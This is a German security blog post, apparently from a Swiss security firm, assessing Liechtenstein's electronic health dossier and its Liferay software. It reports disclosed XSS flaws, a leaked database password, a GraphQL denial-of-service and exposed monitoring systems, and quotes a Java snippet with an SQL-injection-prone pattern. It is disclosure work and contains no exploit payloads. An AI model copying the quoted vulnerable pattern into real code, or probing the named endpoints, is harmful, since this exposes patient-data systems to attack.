&lt;section id="kritik-an-der-authentifizierung-via-passkopie"&gt;
&lt;h3&gt;Kritik an der Authentifizierung via Passkopie&lt;/h3&gt;
&lt;p&gt;Alle Bürger, welche über keine eID verfügen, können per E-Mail oder Online-Formular Antrag auf Zugang stellen, wenn eine Passkopie mitgesendet wird. Allerdings werden Passkopien auch von Autovermietungen oder Hotels angefertigt, womit die Sicherheit dieser Vorgänge nicht sichergestellt ist. Unter anderem kann auch eine &lt;a class="reference external" href="https://formulare.llv.li/formserver_AG/start.do?generalid=AG_EGD"&gt;Stellvertretung für das elektronische Gesundheitsdossier auf diesem Weg beantragt werden&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Die Einführung einer solchen unsicheren Methode widerspricht der auf der Webseite im Bereich &lt;a class="reference external" href="https://www.llv.li/de/privatpersonen/gesundheit-vorsorge-und-pflege/elektronisches-gesundheitsdossier/fragen-und-antworten"&gt;Fragen und Antworten&lt;/a&gt; dokumentierten Aussage, dass "heutige Kommunikation mittels E-Mail, Chats, Fax und Brief [...] weder einen hohen Datenschutz noch eine hohe Datensicherheit" bietet.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="anmerkung-zum-ddos-schutz-durch-cloudflare"&gt;
&lt;h3&gt;Anmerkung zum DDoS-Schutz durch Cloudflare&lt;/h3&gt;
&lt;p&gt;Cloudflare bietet grundsätzlich einen Schutz vor Denial-of-Service-Angriffen, bei denen mittels vieler gleichzeitiger Anfragen Ressourcen einer Webanwendung so verbraucht werden, dass keine weiteren Anfragen mehr möglich sind. Allerdings ist dabei wichtig, dass für einen Angreifer lediglich die IP-Adressen von Cloudflare bekannt sind, nicht die der Server der MTF in diesem Fall. Es stellt sich also grundsätzlich die Frage, ob der Schutz überhaupt effektiv ist, wenn die IP-Adressen bei der MTF für die APIs bekannt sind. Mit dem momentanen Kenntnisstand kann dies nicht abschliessend beurteilt werden.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="kritik-an-der-erreichbarkeit-von-systemen-aus-dem-internet"&gt;
&lt;h3&gt;Kritik an der Erreichbarkeit von Systemen aus dem Internet&lt;/h3&gt;
&lt;p&gt;Es ist nicht gängige Praxis, dass ein System wie Nagios &lt;a class="reference external" href="https://monitoring.gesundheitsdossier.li/nagios/"&gt;im Internet erreichbar ist&lt;/a&gt;, welches lediglich der Überwachung von IT-Systemen dient. Der Zugriff verlangt nach einem Benutzernamen und einem Passwort. Grundsätzlich scheint aber ein Login aus dem Internet möglich, wenn jemand ein gültiges Passwort besitzt. Warum dieses System aus dem Internet erreichbar ist oder ob dies so gewollt ist, ist unklar. Ein solches Überwachungssystem muss lediglich den IT-Adminstratoren zur Verfügung stehen, welche die Systeme betreuen. Da dieses System jedoch im Internet grundsätzlich ansprechbar ist, bietet der Betrieb dieser Software unnötig Angriffsfläche. Kennt ein Angreifer eine Schwachstelle der Nagios Software, kann er diese über das Internet ausnutzen. &lt;a class="reference external" href="https://www.nagios.com/products/security/"&gt;Solche Schwachstellen gibt es immer wieder für Nagios und lassen sich online nachlesen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Auch die Test- und Abnahme-Umgebungen sind grundsätzlich nicht für den produktiven Betrieb notwendig und bieten somit nur unnötig Angriffsfläche.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="anmerkung-zu-zusatzlichem-webserver-schutz"&gt;
&lt;h3&gt;Anmerkung zu zusätzlichem Webserver-Schutz&lt;/h3&gt;
&lt;p&gt;Die Gesundheitsdossier-Webseite verwendet keinen HTTP-Header &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Content-Security-Policy&lt;/span&gt;&lt;/code&gt; (CSP), welcher bei strikter Umsetzung die Problematik von Cross-Site-Scripting-Schwachstellen entschärfen könnte.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="verwundbarkeiten-in-liferay"&gt;
&lt;h2&gt;Verwundbarkeiten in Liferay&lt;/h2&gt;
&lt;p&gt;Grundsätzlich ist es zu begrüssen, dass die verwendete Software Liferay als Open Source zur Verfügung steht. Dies vereinfacht das Suchen nach Schwachstellen in der Software.&lt;/p&gt;
&lt;p&gt;Open Source bedeutet nicht, dass eine Einzelperson unentgeltlich in der Freizeit Software entwickelt. Kommerzielle Nutzung und Open Source schliessen sich nicht aus und passen sogar gut zusammen. Das Liferay-Portal gibt es seit dem Jahr 2000. 2004 wurde für die Verwaltung die Liferay, Inc. gegründet. Der Hauptsitz ist in den USA. Es gibt diverse europäische Niederlassungen, Vertretungen in Brasilen, Australien, Marokko, Singapur, Indien, China und Japan. Weltweit gibt es 20 Büros &lt;a class="reference external" href="https://www.liferay.com/locations"&gt;gemäss der Webseiten von Liferay&lt;/a&gt;, also auf allen Kontinenten, ausser der Antarktis. Liferay hat nach Eigenauskunft über 1000 Angestellte.&lt;/p&gt;
&lt;p&gt;Wichtig ist hier anzumerken, dass die Liferay-Software aus sehr vielen verschiedenen Modulen besteht. Beispielsweise gibt es ein Modul, welches zum Aufbau eines Online-Shops verwendet werden kann. Unter anderem hat Liferay im administrativen Portal Funktionen wie die Gogo- oder Groovy-Shell, um direkt über die administrative Webseite Kommandos auf dem Server auszuführen. Auch können IT-Administratoren im Web-Interface auswählen, dass das Web-Interface aus den Augen eines gewissen Benutzers betrachtet werden soll (&lt;em&gt;user impersonation&lt;/em&gt;). Inwiefern die Schwachstellen der einzelnen Module jeweils auch für das elektronische Gesundheitsdossier in Liechtenstein zutreffen, kann ohne Untersuchung des Gesundheitsdossier-Portals selbst nicht direkt beantwortet werden.&lt;/p&gt;
&lt;p&gt;Leider lässt sich die Sicherheit einer Software wie Liferay niemals final beurteilen. Festzustellen, dass eine Software "sicher" ist, gilt in der IT als unmöglich. Sicher ist nur, dass Komplexität und IT-Sicherheit meist unverträglich sind.&lt;/p&gt;
&lt;p&gt;Auch die Schwachstellen, die eine Software in der Vergangenheit hatte, lassen prinzipiell keine Rückschlüsse auf die Sicherheit zu. Eine Ausnahme ist, wenn sich Hinweise ergeben, dass die Softwareentwickler Probleme nicht systematisch angehen. Eine gewisse Schwachstellen-Kategorie sollte systematisch verhindert werden, damit diese nicht wieder vorkommt. Ist dies nicht der Fall, ist es wahrscheinlich, dass auch in Zukunft neue Schwachstellen auftreten. Dann liesse sich der Software wegen des mangelhaften Entwicklungs- bzw. Fehlerbehebungsvorgehens eher eine schlechtes Sicherheitniveau attestieren.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities"&gt;Die Informationen zu den Sicherheitslücken von Liferay Portal in der Vergangenheit lassen aufhorchen&lt;/a&gt;. Anscheinend hatte diese Software alleine in den sieben Monaten des 2023 bereits 17 Schwachstellen. Ausserdem wird dieselbe Schwachstellen-Kategorie sehr oft genannt und kommt immer wieder vor. Nicht alle Schwachstellen in der IT Sicherheit haben die gleichen Auswirkungen, aber trotzdem finden sich &lt;a class="reference external" href="https://liferay.dev/blogs/-/blogs/security-patches-for-liferay-portal-6-2-7-0-and-7-1"&gt;gleich mehrere&lt;/a&gt; &lt;a class="reference external" href="https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html"&gt;Anleitungen im Internet (sogenannte Exploits)&lt;/a&gt;, wie eine alte Version von Liferay aus 2020 komplett von einem Angreifer übernommen werden kann.&lt;/p&gt;
&lt;p&gt;Wir wollten dies genauer wissen und haben uns die Liferay-Software angeschaut.&lt;/p&gt;
&lt;section id="auffallige-code-muster-in-liferay"&gt;
&lt;h3&gt;Auffällige Code-Muster in Liferay&lt;/h3&gt;
&lt;p&gt;Um eine Einschätzung der Software machen zu können, haben wir zuerst den Quellcode in der Version 7.4.3.84 heruntergeladen. Sucht man im Quellcode von Liferay nach bestimmten Mustern, die üblicherweise IT-Schwachstellen zeigen, wird man sofort fündig.&lt;/p&gt;
&lt;p&gt;Es scheint als wären viele Code-Pfade verwundbar auf sogenannte Cross-Site-Scripting-Schwachstellen (XSS). Dabei sind dies sehr auffällige Muster, welche darauf hindeuten, dass Liferay keine Release-Qualitätssicherung macht, welche solche Muster findet, bevor die Software veröffentlicht wird.&lt;/p&gt;
&lt;p&gt;Auch dass in den letzten 1.5 Jahren 20 Cross-Site-Scripting-Schwachstellen gefunden wurden, zeigt: Liferay hat keinen strategischen Ansatz um Schwachstellen zu verhindern und wiederholende Schwachstellen der gleichen Kategorie sind häufig.&lt;/p&gt;
&lt;p&gt;Sucht man weiter nach Mustern, findet man beispielsweise in der Datei PermissionUpgradeProcess.java:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code java"&gt;&lt;a id="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-1" name="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-1" href="https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/#rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-1"&gt;&lt;/a&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;_upgradeResourcePermission&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;a id="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-2" name="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-2" href="https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/#rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-2"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PreparedStatement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;preparedStatement1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;a id="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-3" name="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-3" href="https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/#rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-3"&gt;&lt;/a&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;StringBundler&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;a id="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-4" name="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-4" href="https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/#rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-4"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="s"&gt;"select resourceActionId, bitwiseValue from "&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-5" name="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-5" href="https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/#rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-5"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="s"&gt;"ResourceAction where actionId = 'ADD_ENTRY' and name = '"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-6" name="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-6" href="https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/#rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-6"&gt;&lt;/a&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"'"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;a id="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-7" name="rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-7" href="https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/#rest_code_d1e95246f59e4b1085a4d3c6b2ff8e5f-7"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;ResultSet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;resultSet1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;preparedStatement1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Wer sich mit sicherer Programmierung auskennt erkennt: String-Formatierung (via StringBundler.concat) zum Erzeugen eines SQL-Statements zu nutzen, ist ein Anti-Pattern und kann zu SQL-Injektionen führen. Würde dieses Muster nur an einer Stelle verwendet, hätten wir uns angeschaut, ob es ein Sicherheitsrisiko darstellt. Allerdings hat der Quell-Code von Liferay sehr viele solcher Muster und wir haben deshalb nicht jedes Vorkommen eines solchen Musters überprüft.&lt;/p&gt;
&lt;p&gt;Folgend nun neue Schwachstellen, welche wir während unserer Untersuchung gefunden und an &lt;a class="reference external" href="https://liferay.dev/portal/security/reporting"&gt;Liferay Inc. gemeldet haben&lt;/a&gt;. Wir haben uns die Liferay-Software selbst auf unserem System installiert und eine Sicherheitsanalyse (in einem begrenzten Rahmen) durchgeführt.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="schwachstelle-1-bis-4-cross-site-scripting-schwachstellen"&gt;
&lt;h3&gt;Schwachstelle 1 bis 4: Cross-Site Scripting Schwachstellen&lt;/h3&gt;
&lt;p&gt;Wir haben insgesamt vier Cross-Site Scripting Schwachstellen identifiziert, welche wir an Liferay gemeldet haben und alle von Liferay bestätigt wurden. Für die Schwachstellen wurden die Identifikationsnummern CVE-2023-42627, CVE-2023-42628 und CVE-2023-42629 vergeben.&lt;/p&gt;
&lt;p&gt;Bei manchen dieser Schwachstellen handelte es sich um Stored Cross-Site Scripting. Beispielsweise konnte eine Schwachstelle durch einen bestellenden Benutzer im Liferay-Shop ausgenutzt werden. Dabei wird der eingeschleuste Code anschliessend im Browser des Online-Shop-Betreibers/Administrators ausgeführt. Das bedeutet, ein Angreifer könnte beliebige Aktionen als Shop-Betreiber ausführen und womöglich den kompletten Online-Shop übernehmen. Die technischen Details zu den Verwundbarkeiten, werden wir später in einem separaten Advisory veröffentlichen. (Update 2023-10-17: Die Details zur den &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/stored-cross-site-scripting-vulnerabilities-in-liferay-portal/"&gt;Cross-Site-Scripting-Schwachstellen in der Liferay-Portal-Software sind nun öffentlich&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;Inwiefern diese Schwachstellen ebenfalls auf dem Gesundheitsdossier ausgenutzt werden könnten, ist unklar.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="schwachstelle-5-datenbankpasswort-fur-wedeploy-com-veroffentlicht"&gt;
&lt;h3&gt;Schwachstelle 5: Datenbankpasswort für wedeploy.com veröffentlicht&lt;/h3&gt;
&lt;p&gt;Das Unternehmen Liferay plante oder unterhielt zu einem Zeitpunkt einen Service mit dem Namen &lt;a class="reference external" href="https://www.liferay.com/w/liferay-launches-wedeploy-a-powerful-cloud-platform-for-fast-deployment-of-modern-apps"&gt;wedeploy.com&lt;/a&gt;. Zwar ist die Webseite mittlerweile nicht mehr erreichbar, trotzdem finden sich neben dem Code selbst auch noch Konfigurationen im Quellcode der Liferay-Software.&lt;/p&gt;
&lt;p&gt;Anscheinend hat Liferay dabei das &lt;a class="reference external" href="https://github.com/liferay/liferay-portal/blob/f18b6b9631a79db27829ce933b66d963bcd9e3d6/modules/dxp/apps/osb/osb-faro/wedeploy/prd/configs/portal-all.properties#L16C1-L16C53"&gt;produktive Datenbankpasswort für den wedeploy.com-Service aus Versehen veröffentlich&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wir haben diese Schwachstelle an Liferay gemeldet und diese wurde von Liferay bestätigt und das Passwort wurde geändert. Technische Anmerkung: Da Liferay nicht die alten Einträge der Versionskontrolle ändern möchte, da sonst Kompatibilitätsprobleme mit Forks auf Github entstehen können, ist das alte Passwort weiterhin in der Versionshistorie ersichtlich.&lt;/p&gt;
&lt;p&gt;Gleichzeitig fiel auf, dass Liferay dieses Passwort nicht nur in der Produktion verwendet, sondern ebenfalls in der Umgebung für &lt;a class="reference external" href="https://github.com/liferay/liferay-portal/blob/f18b6b9631a79db27829ce933b66d963bcd9e3d6/modules/dxp/apps/osb/osb-faro/wedeploy/dev/configs/portal-all.properties"&gt;DEV (für development, also wiederum eine Testumgebung)&lt;/a&gt; und &lt;a class="reference external" href="https://github.com/liferay/liferay-portal/blob/f18b6b9631a79db27829ce933b66d963bcd9e3d6/modules/dxp/apps/osb/osb-faro/wedeploy/uat/configs/portal-all.properties"&gt;UAT (wiederum eine Abnahmeumgebung)&lt;/a&gt;. Dieses Vorgehen ist nicht zu empfehlen. Passwörter sind unbedingt unterschiedlich auf Produktion und Testsystemen zu setzen. Ansonsten kann es passieren, dass ein Angreifer eine der anderen Umgebungen angreift und anschliessend über gültige Passwörter für die Produktion verfügt. Testumgebungen sind häufiger weniger gesichert, zeigen vielleicht Debug-Ausgaben oder sind tendenziell nicht im (Sicherheits-)Monitoring. Wenn ein Angreifer Dienste versehentlich unbenutzbar macht, dann fällt dies vielleicht gar nicht auf. Testumgebungen im Internet sind Industrie-Standard, aus Sicherheitsicht zwar nicht zu empfehlen, aber praktisch – auch für Angreifer.&lt;/p&gt;
&lt;p&gt;Auf das Gesundheitsdossier hat das grundsätzlich keinen Einfluss, zeigt aber Probleme beim Lieferanten Liferay.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="schwachstelle-6-verwundbare-javascript-bibliotheken"&gt;
&lt;h3&gt;Schwachstelle 6: Verwundbare JavaScript-Bibliotheken&lt;/h3&gt;
&lt;p&gt;Es wird ausserdem eine JavaScript-Bibliothek mit bekannten Verwundbarkeiten verwendet, die Bibliothek ckeditor wird in Version 4.18.0 verwendet und ist von der Schwachstelle "CVE-2023-28439: Cross-Site Scripting" betroffen.&lt;/p&gt;
&lt;p&gt;Schwachstellen in JavaScript-Bibliotheken sind ein gängiges Problem, insbesondere Cross-Site-Scripting-Schwachstellen sind zu erwarten. Dabei gilt: Nach der Schwachstelle ist vor der Schwachstelle. Das Vorhandensein von Verwundbarkeiten in Bibliotheken bedeutet nicht, dass die Lücken ausnutzbar sind, oder gar &lt;em&gt;einfach&lt;/em&gt; ausnutzbar sind. Man ist dennoch gut beraten, Bibliotheken zu aktualisieren.&lt;/p&gt;
&lt;p&gt;Diese Bibliothek ist insbesondere auch auf dem &lt;a class="reference external" href="https://prod.gesundheitsdossier.li/o/frontend-editor-ckeditor-web/ckeditor/ckeditor.js"&gt;Gesundheitsdossier&lt;/a&gt; erreichbar. Inwiefern dieses Problem dort ausnutzbar ist, wurde nicht untersucht.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="schwachstelle-7-denial-of-service-mittels-einer-verschachtelten-abfrage-in-graphql"&gt;
&lt;h3&gt;Schwachstelle 7: Denial of Service mittels einer verschachtelten Abfrage in GraphQL&lt;/h3&gt;
&lt;p&gt;Die GraphQL-Schnittstelle von Liferay is verwundbar auf eine Denial-of-Service-Schwachstelle, die von einem Angreifer ausgenutzt werden kann, wenn dieser eine verschachtelte Abfrage sendet. Die Schwachstelle erlaubt es, mit einer einzigen Anfrage den kompletten Speicher des Servers aufzubrauchen (java.lang.OutOfMemoryError). Anschliessend kann der Liferay-Server keine anderen Anfragen mehr entgegennehmen und erscheint für andere Nutzer unerreichbar.&lt;/p&gt;
&lt;p&gt;Liferay hat geantwortet, dass sie über die Schwachstelle bereits Bescheid wissen und diese zu einem späteren Zeitpunkt erst beheben werden.&lt;/p&gt;
&lt;p&gt;Es wird davon ausgegangen, dass auch die &lt;a class="reference external" href="https://prod.gesundheitsdossier.li/o/graphql"&gt;GraphQL Schnittstelle des Gesundheitsdossiers&lt;/a&gt; betroffen ist. Inwiefern dieses Problem dort tatsächlich ausnutzbar ist, wurde nicht untersucht.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="fazit"&gt;
&lt;h3&gt;Fazit&lt;/h3&gt;
&lt;p&gt;Wir haben keine Sicherheitsuntersuchung der Gesundheitsdossier-Webseite durchgeführt und melden an dieser Stelle auch nicht direkt Schwachstellen an die Landesverwaltung, da wir lediglich die zugrunde liegende Liferay-Software betrachtet haben. Schwachstellen von verwendeter Software abzuklären ist Aufgabe der Landesverwaltung. Inwiefern eine Sicherheitsprüfung durchgeführt wurde, ist uns nicht bekannt. Es ist uns aber wichtig, für Liechtensteiner Bürger mehr Transparenz zu schaffen.&lt;/p&gt;
&lt;p&gt;Insgesamt ensteht bei der Betrachtung des Gesundheitsdossier im Fürstentum Liechtenstein folgender Eindruck:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Die Datenschutzhinweise erwähnen nicht alle Drittparteien (z. B. Cloudflare), die rein technisch involviert sind. Mindestens die Dienstleister, die Inhalte sehen können, sollten transparent genannt werden.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Es scheint als wurde nicht darauf geachtet, Risiken für das Gesundheitsdossier zu minimieren. Beispielsweise die Erreichbarkeit aus dem Internet einzuschränken, Sicherheitskonfigurationen hinzuzufügen oder Komponenten (beispielsweise von Liferay) zu sperren, zu entfernen oder zu deaktivieren.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Das Liferay-Portal hinterlässt nicht den Eindruck, dass bei dessen Entwicklung wirksame Qualitätsprüfungen vor Veröffentlichung stattfinden, die auch Sicherheitseigenschaften prüfen. Als Quasi-Lieferant der Software ist Liferay ausserdem zu betrachten bei Themen wie &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Supply_chain_attack"&gt;Supply-Chain-Angriffen&lt;/a&gt;. Zusammen mit der hohen Komplexität und der verwendeten und erreichbaren Komponenten, scheint Liferay eine fragliche Wahl für die Umsetzung einer so kritischen Applikation wie dem Gesundheitsdossier zu sein.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aktualisierung 2023-09-18: Artikel "Hacker orten Schwachstellen bei Software-Anbieter" der Tageszeitung Vaterland verlinkt.&lt;/p&gt;
&lt;p&gt;Aktualisierung 2023-10-17: Advisory zu den &lt;a class="reference external" href="https://www.pentagrid.ch/en/blog/stored-cross-site-scripting-vulnerabilities-in-liferay-portal/"&gt;Cross-Site-Scripting-Schwachstellen in der Liferay-Portal-Software&lt;/a&gt; verlinkt.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><category>Gesundheitsdossier</category><category>Liechtenstein</category><category>Liferay</category><category>Vulnerability</category><guid>https://www.pentagrid.ch/en/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/</guid><pubDate>Thu, 14 Sep 2023 20:30:00 GMT</pubDate></item></channel></rss>